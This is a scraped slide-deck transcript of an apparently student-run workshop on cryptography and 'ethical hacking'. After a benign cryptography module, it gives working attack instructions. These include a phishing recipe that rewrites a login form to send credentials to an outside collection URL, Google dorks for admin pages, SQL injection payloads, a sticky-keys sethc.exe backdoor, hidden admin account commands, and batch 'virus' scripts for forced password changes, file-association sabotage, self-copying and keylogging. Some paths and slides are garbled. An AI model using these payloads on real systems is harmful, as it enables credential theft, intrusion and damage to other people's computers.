Workshop on 03 11-2012

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Workshop on 03 11-2012

  1. 1. Workshop On Cryptography and Ethical Hacking 5/18/2014 1
  2. 2. Modules Cryptography Concepts – by K.K.Goyal(Asst Professor) Windows Password Hacking – by Parul Kaushik Phishing & Security of Data – by Praval Sharma SQL Injection & WebCam Hacking – by Gaurav Gautam Batch Programming & Viruses – by Ehtisham Ali 5/18/2014 2
  3. 3. MODULE 1By: - K K Goyal Asst Professor RBS MTC AGRA 5/18/2014 3
  4. 4. Threats against electronic communications Cryptography principles Message Digests (One-way hash functions) Secret key (symmetric) cryptography Public key (asymmetric) cryptography Practical implementation of cryptography The potential role of public authorities Conclusions Topics Under Module 1 5/18/2014 4
  5. 5. Q. Is Internet secure ? The wrong question ! Q. Right questions: - Is the telephone secure ??? Are postal services secure ??? Ans. A worldwide communication network, with millions of users can not be secure. 5/18/2014 5
  6. 6. Q. Can specific Internet applications be secure ? YES. this is the topic of today Q. Are most of the Internet applications secure ? Most don’t need to !!! Some should but aren’t !!! 5/18/2014 6
  7. 7. World Wide Web HTTP Client (Web Browser) HTTP Server HTTP Server HTTP Server Other ServerHTTP Server HTTP Link transporting HTML- encoded hypertext Other Data Link 5/18/2014 7
  8. 8. HTTP Hypertext Transfer Protocol Network Service Transport entity Transport entity Connection oriented protocol Client HTTP Server HTTP Connectionless protocol Browser Web Server 5/18/2014 8
  9. 9. HTTP is a Stateless Protocol Loging in a stateless server : Client HTTP Server HTTP Browser Web Server > I want to log into the server Give your name and password < > XYZ, ****** OK, here is your key 478 < > show me my bank records, my key is 478. Here are your bank records < $$$$$$$$$ < If you need more use key 953 < .... 5/18/2014 9
  10. 10. HTTP is a Stateless Protocol Loging in a stateless server : Client HTTP Server HTTP Browser Web Server > I want to log into the server Give your name and password < > XYZ, ****** OK, here is your key 478 < > show me my bank records, my key is 478. Here are your bank records < $$$$$$$$$ < If you need more use key 953 < .... 5/18/2014 10
  11. 11. Threats against electronic communications Cryptography principles Message Digests (One-way hash functions) Secret key (symmetric) cryptography Public key (asymmetric) cryptography Practical implementation of cryptography The potential role of public authorities Conclusions Topics Under Module 1 5/18/2014 11
  12. 12. Threats : data interception MAFIA NV/SA 5/18/2014 12
  13. 13. Threats : masquerade MAFIA NV/SA 5/18/2014 13
  14. 14. Threats : data manipulation MAFIA NV/SA "Transfer x € to account abc" "Transfer x € to account uvw" 5/18/2014 14
  15. 15. Threats : message replay "Send me movie x and bill it to my account abc" "Send me movie x and bill it to my account abc" 5/18/2014 15
  16. 16. Threats : message repudiation "It is a pity you instructed me to sell, abc gained in value" "Sell all my abc shares" "I never instructed you to sell my abc shares, you have to compensate"5/18/2014 16
  17. 17. Threats against electronic communications Cryptography principles Message Digests (One-way hash functions) Secret key (symmetric) cryptography Public key (asymmetric) cryptography Practical implementation of cryptography The potential role of public authorities Conclusions Topics Under Module 1 5/18/2014 17
  18. 18. Hiding Information 5/18/2014 18
  19. 19. Sender : Compute message digest All message bits should influence digest Computing digest from message simple Computing message from digest impossible e.g.: digest = checksum Send message + digest Receiver : Receive message and digest Compute digest from received message Compare computed and received digests One Way Hash Functions for checking message integrity 5/18/2014 19
  20. 20. One Way Hash Functions for checking message integrity Sender: message + messagedigest digest hash 5/18/2014 20
  21. 21. One Way Hash Functions for checking message integrity Receiver: <> message digest digest hash =? * OK messagedigest 5/18/2014 21
  22. 22. Cryptography CRYPTO- ALGORITHM Encryption key Decryption key "Sell all my abc shares" "Sell all my abc shares" "nseefglw47 0%GHkdaJ" CRYPTO- ALGORITHM 5/18/2014 22
  23. 23. Well known and widely available algorithm Only keys are to be kept secret potential intruders and volunteer experts can search for algorithmic weaknesses weaknesses will quickly be publicized ! widely used on internet and for ecommerce Secret algorithm Encryption devices need to be protected and replaced if compromised. Very few people can verify algorithms weaknesses can remain hidden, but possibly know by potential intruders common in proprietary and/or military systems Crypto-algorithms 5/18/2014 23
  24. 24. Encryption_Key = Decryption_Key = "Secret Key Cryptography" •Symmetric •Key distribution problem •Fast encryption and decryption Encryption_Key  Decryption_Key =" Public Key Cryptography " •Asymmetric •Key publicity problem •Slow encryption and decryption In practice, both are used together Crypto-keys 5/18/2014 24
  25. 25. Secret Key Cryptography CRYPTO- ALGORITHM Secret key CRYPTO- ALGORITHM Cleartext Cleartext Ciphertext Unprotected Channel Secure Channel One secret key per users pair ensures both confidentiality and authenticity 5/18/2014 25
  26. 26. • Fast algorithm for bulk encryption • Hardware or software implementations • Security somewhat controversial • Multiple encryption very secure • Commonly used Secret Key Cryptography The Data Encryption Standard DES Secret key 56 bit Cleartext 64 bit 64 bit64 bit64 bit 64 bit 64 bit Ciphertext 5/18/2014 26
  27. 27. Public Key Cryptography for ensuring confidentiality CRYPTO- ALGORITHM CRYPTO- ALGORITHM Cleartext Cleartext Ciphertext Unprotected Channel Key pair Unprotected (?) Channel Public Key Secret Key A secret message intended for A should be encoded with A's public key ! 5/18/2014 27
  28. 28. Public Key Cryptography for identifying sender CRYPTO- ALGORITHM CRYPTO- ALGORITHM Cleartext Cleartext Ciphertext Unprotected Channel Key pair Unprotected (?) Channel Public KeySecret Key A message that can be decoded with A's public key was certainly send by A ! 5/18/2014 28
  29. 29. Public Key Cryptography RSA algorithm1. select two large prime numbers p and q 2. compute n = p*q and z = (p-1)*(q-1) 3. select decryption key d relatively prime to z 4. find encryption key e such that (e*d) MOD z = 1 5. Encrypt M by computing E = Me MOD n 6. Decrypt by computing M = Ed MOD n Computing d or e from the other one requires factorization of n into its prime factors p and q. Factorization of n (>200 digits) is an extremely long operation (months on a supercomputer) RSA is much slower than DES 5/18/2014 29
  30. 30. Threats against electronic communications Cryptography principles Message Digests (One-way hash functions) Secret key (symmetric) cryptography Public key (asymmetric) cryptography Practical implementation of cryptography The potential role of public authorities Conclusions Topics Under Module 1 5/18/2014 30
  31. 31. Some tools related to cryptography • TrueCrypt • Yodas Crypter • Frame Based Encryption Scheme • Crypt Tool 5/18/2014 31
  32. 32. GSM station authentication MS VLR HLR K i imsi vlr,imsi rand sres rand,sres, Kc data & signalling enciphered by Kc .... i:K i .... sres = A3(Ki,rand) Kc = A8(Ki,rand) 5/18/2014 32
  33. 33. Electronic Signatures Signing a message + message digest hashing messagesignature signature CRYPTO- ALGORITHM Signer's secret key 5/18/2014 33
  34. 34. Electronic Signatures Checking the signature hashing digest =? message * OK <> digest signature CRYPTO- ALGORITHM Signer's public key messagesignature 5/18/2014 34
  35. 35. Practical Cryptography • Confidentiality of messages : – long : Symmetric key cryptography – short : Asymmetric key cryptography • Authenticity of messages (electronic signature) : – Asymmetric key cryptography to authenticate message digest obtained by hashing • Non repudiation : – undisputable time stamp in digest – copy of digest in trustworthy repository • Distribution of symmetric keys – Asymmetric key cryptography 5/18/2014 35
  36. 36. Threats against electronic communications Cryptography principles Message Digests (One-way hash functions) Secret key (symmetric) cryptography Public key (asymmetric) cryptography Practical implementation of cryptography The potential role of public authorities Conclusions Topics Under Module 1 5/18/2014 36
  37. 37. Public Key Cryptography Ensuring both confidentiality and authenticity A B eA eB dA dB 5/18/2014 37
  38. 38. Public Key Cryptography Public Keys can be changed !!! MAFIA NV/SA A B eA em dA dm dm' dB eB em' 5/18/2014 38
  39. 39. Certification Authority Certification Authority A B A:PA B:PB sCA sA PCA sB PCA 5/18/2014 39
  40. 40. Digital Certificates • Issued by a well know Certification Authority (CA) • Contains at least : – Identification of the issuing CA – Unambiguous identity of the owner – The owner's public key – electronic signature of CA • Any user knowing the public key of the CA can recover the public key of the certificate owner. • Only the public key of the CA needs to be generally well known and regularly checked. 5/18/2014 40
  41. 41. Conclusion • All techniques for secure ecommerce exist • Large scale usage requires third-party certification – For identity of users – For time-stamps • Certifying the identity of individuals and corporations is a natural task for public authorities • Postal services have a tradition of providing trustworthy time stamps • Observatories could also become providers of high accuracy time stamps • Legislative action is urgently needed 5/18/2014 41
  42. 42. MODULE 2By Parul Kaushik 5/18/2014 42
  43. 43. 1) Login Password 2) BIOS Password 3) Biometric Password 4) Boot Password 5) Syskey Password Topics Under Module 2 Types Of Passwords 5/18/2014 43
  44. 44. 1) net user * 2) net user hack /add 3) net localgroup administraters a/c name / add 4) net user hack /del Login passwords commands 5/18/2014 44
  45. 45. GO TO BIOS SETTINGS…. THEN GO TO SECURITY TAB BOOT PASSWORD - USER PASSWORD. BIOS PASSWORD - SUPERVISOR PASSWORD. BIOS AND BOOT PASSWORD CAN BE CRACKED BY REMOVING THE CMOS BATTERY FOR 5 MINUTES. Boot Password 5/18/2014 45
  46. 46. OPH Crack  Kon Boot  Offline Password Cracker  Active Password Changer  ERD Commander Topics Under Module 2 Tools for login passwords 5/18/2014 46
  47. 47. MODULE 3By Praval Sharma 5/18/2014 47
  48. 48. 1) PHISHING ATTACK 2) LOCKING FOLDERS 3) HIDING DRIVE PARTITIONS Topics Under Module 3 5/18/2014 48
  49. 49. OPEN ANY LOGIN PAGE GO TO FILE THEN, SAVE PAGE AS….  WEB PAGE , HTML ONLY. CLICK SAVE PAGE. OPEN PAGE WITH NOTEPAD. PRESS CTRL+F TO FIND FIND ACTION. THEN PLACE THIS CODE AFTER ACTION ACTION=“HTTP://CYBERCURE.NET /TESTERS /PRACPH57.PHP? ID=“YOUR EMAIL ID”& LINK=SITE NAME” Phishing Attacks 5/18/2014 49
  50. 50. By using Change Access Control Lists (CACLS) Command. - Open CMD (in Windows 7 open CMD as an Administrator) - Use this Command : For Locking the Folder- CACLS <Folder Name> /E /P Everyone :N For Accessing the Folder CACLS <Folder Name> /E /P Everyone :F Locking Folders 5/18/2014 50
  51. 51. Open CMD as an Administrator. Type the following commands: C:UsersUser Account>DISKPART Press Enter DISKPART> List Volume Press Enter DISKPART> Select Volume <Volume Number> Press Enter DISKPART> Remove letter <Drive letter> Press Enter YOUR DISK HAS BEEN HIDDEN NOW Hiding Drive Partitions 5/18/2014 51
  52. 52. REPEAT ALL STEPS AS MENTIONED IN PREVIOUS SLIDE. CHANGE THE FOURTH STEPAS: DISKPART> Assign letter <Drive letter> Press Enter YOUR DISK AS BEEN VISIBLE NOW Hiding Drive Partitions 5/18/2014 52
  53. 53. MODULE 4By GAURAV GAUTAM 5/18/2014 53
  54. 54. 1) SQL INJECTION 2) ONLINE WEBCAM Topics Under Module 4 5/18/2014 54
  55. 55. SQL injection is a technique often used to attack a website. This is done by including portions of SQL statements in a web form entry field in an attempt to get the website to pass a newly formed rogue SQL command to the database SQL Injection 5/18/2014 55
  56. 56. Type anyof followingpoints in Google to get Admin Login pages: INURL: admin.asp INURL: adminlogin.asp INURL: admin.aspx INURL: adminlogin.aspx INURL: admin.asp INURL: admin.php INURL: adminlogin.php SQL Injection 5/18/2014 56
  57. 57. SQL Injection Attacks queryby Example SELECTfield list FROMtable WHERE field= 'password'; where like as anything' OR 'x'='x x' ANDemailIS NULL; bob@example.com' ANDpassword= 'hello123 23 OR 1=1 ''; DROP TABLEusers; -- SQL Injection 5/18/2014 57
  58. 58. MODULE 5By ehtisham ali 5/18/2014 58
  59. 59. 1) Disable Internet 2) Self deleting code 3) Net user automation 4) File extension bomb 5) Full control of file 6) Sticky attack automation 7) Self copying code 8) Simple keylogger 9) Startup code 10) Website blocking Topics Under Module 5 5/18/2014 59
  60. 60. Disable Internet > @echo off > ::--------Block Internet-------:: > ipconfig /release > if ERRORLEVEL1 ipconfig /release_all > 5/18/2014 60
  61. 61. Self deleting code > @echo off > CD .. > START CMD /C DEL /Q "%~dpnx0" > 5/18/2014 61
  62. 62. Net user automation > @echo off > ::--Change Pass To 1234--:: > net user %username% 1234 > 5/18/2014 62
  63. 63. File Extension Bomb > @echo off > color fc > assoc .jpg=internetshortcut > assoc .mp3=internetshortcut > assoc .lnk=internetshortcut > assoc .htm=internetshortcut > assoc .html=internetshortcut > assoc .txt=internetshortcut > assoc .doc=internetshortcut > assoc .xlsx=internetshortcut > assoc .docx=internetshortcut > assoc .chm=internetshortcut > assoc .hlp=internetshortcut > assoc .pdf=internetshortcut > assoc .png=internetshortcut > assoc .rar=internetshortcut > assoc .zip=internetshortcut > 5/18/2014 63
  64. 64. Full control of a file > @echo off > ::----ownership----:: > takeown /f “file” /a > ::----Access Rights----:: > cacls “file” /e /p everyone:f > 5/18/2014 64
  65. 65. Sticky attack automation > @echo off > copy c:windowssystem32cmd.exe c: /y > ren c:cmd.exe sethc.exe > takeown /f c:windowssystem32sethc.exe /a > cacls c:windowssystem32sethc.exe /e /p everyone:f > copy c:sethc.exe c:windowssystem32 /y > del c:sethc.exe > 5/18/2014 65
  66. 66. Self copying code > @echo off > xcopy viral.cmd c: /C /Q /H /R /K /Y /Z > 5/18/2014 66
  67. 67. Simple keylogger > @echo off > title Simple Keylogger > color 0a > :log > set /p "a=>" > cls > echo %a% >> keylog.txt > cls > goto log > 5/18/2014 67
  68. 68. Startup code > @echo off > REG ADD HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v mypad /t REG_SZ /d %SystemRoot%system32notepad.exe /f > start %SystemRoot%system32notepad.exe > 5/18/2014 68
  69. 69. WEBSITE BLOCKING > @echo off > ::--------Block Facebook-------:: > cd "C:WindowsSystem32Driversetc" > echo 127.0.0.1 www.facebook.com >> "Hosts" > echo 127.0.0.1 facebook.com >> "Hosts" > echo 127.0.0.1 static.ak.fbcdn.net >> "Hosts" > echo 127.0.0.1 www.static.ak.fbcdn.net >> "Hosts" > echo 127.0.0.1 login.facebook.com >> "Hosts" > echo 127.0.0.1 www.login.facebook.com >> "Hosts" > echo 127.0.0.1 fbcdn.net >> "Hosts" > echo 127.0.0.1 www.fbcdn.net >> "Hosts" > echo 127.0.0.1 fbcdn.com >> "Hosts" > echo 127.0.0.1 www.fbcdn.com >> "Hosts" > echo 127.0.0.1 static.ak.connect.facebook.com >> "Hosts" > echo 127.0.0.1 www.static.ak.connect.facebook.com >> "Hosts" > 5/18/2014 69
  70. 70. Safe Browsing Follow some useful tips to browse the internet safely. Use virtual keyboard to enter data in web forms (osk.exe – windows virtual keyboard) Check the authenticity of a website before interacting with it. Install security software’s to protect spywares, malwares, and Trojans. If you use net banking never Google for your bank website, rather always type the URL in the address field. Before visiting websites like bank site, social networking site and others check for the SSL protection. And if it is there than you have a better level of security. If you are frequent downloader of executable file than make sure to scan your downloaded file by this online service https://www.virustotal.com/ 5/18/2014 70

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